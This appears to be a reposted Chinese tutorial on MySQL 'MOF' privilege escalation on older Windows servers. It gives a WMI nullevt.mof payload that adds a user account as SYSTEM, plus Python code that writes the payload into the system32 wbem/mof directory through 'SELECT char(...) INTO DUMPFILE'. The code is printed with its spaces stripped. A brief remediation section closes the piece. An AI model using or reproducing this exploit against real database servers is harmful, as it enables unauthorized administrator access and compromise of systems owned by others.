• ADADADADAD

    关于mysql mof提权研究[ mysql数据库 ]

    mysql数据库 时间:2024-12-25 09:57:29

    作者:文/会员上传

    简介:

    无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。
    利用前提:操作系统为windows操作系统版本不

    以下为本文的正文内容,内容仅供参考!本站为公益性网站,复制本文以及下载DOC文档全部免费。

    无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。


    利用前提:

      操作系统为windows

      操作系统版本不宜太高,2008测试不通过,2003可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录

      数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)


    先简单介绍一下原理(摘自网上和个人实践后得出)

    放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。


    网上已公开nullevt.mof中的利用代码

    #pragmanamespace(“\\\\.\\root\\subscription”)instanceof__EventFilteras$EventFilter{EventNamespace=“Root\\Cimv2”;Name=“filtP2”;Query=“Select*From__InstanceModificationEvent““WhereTargetInstanceIsa\”Win32_LocalTime\”““AndTargetInstance.Second=5”;QueryLanguage=“WQL”;};instanceofActiveScriptEventConsumeras$Consumer{Name=“consPCSV2”;ScriptingEngine=“JScript”;ScriptText=“varWSH=newActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exeuserxxxxxx/add\”)“;};instanceof__FilterToConsumerBinding{Consumer=$Consumer;Filter=$EventFilter;};


    常规利用过程步骤如下:

      上传该文件到服务器上任意位置,名字任意

      通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'

    即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行


    个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示

    使用mysql中char函数解决

    payload=r'''#pragmanamespace("\\\\.\\root\\subscription")instanceof__EventFilteras$EventFilter{EventNamespace="Root\\Cimv2";Name="filtP2";Query="Select*From__InstanceModificationEvent""WhereTargetInstanceIsa\"Win32_LocalTime\"""AndTargetInstance.Second=5";QueryLanguage="WQL";};instanceofActiveScriptEventConsumeras$Consumer{Name="consPCSV2";ScriptingEngine="JScript";ScriptText="varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuserxxxxxxx/add\")";};instanceof__FilterToConsumerBinding{Consumer=$Consumer;Filter=$EventFilter;};'''ascii_payload=''foreach_chrinpayload:ascii_payload+=str(ord(each_chr))+','ascii_payload=ascii_payload[:-1]cur=conn.cursor()sql="selectchar(%s)intodumpfile'c:/windows/system32/wbem/mof/nullevt.mof'"%ascii_payloadcur.execute(sql)


    由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

    如果服务器发现被使用mof提权,该如何解决循环创建用户?

    打开cmd使用以下命令

    net stop winmgmt

    删除文件夹下内容 c:/windows/system32/wbem/repository

    net start winmgmt

    即可


    错误之处,敬请指正

    关于mysql mof提权研究.docx

    将本文的Word文档下载到电脑

    推荐度:

    下载
    热门标签: mysql提权mof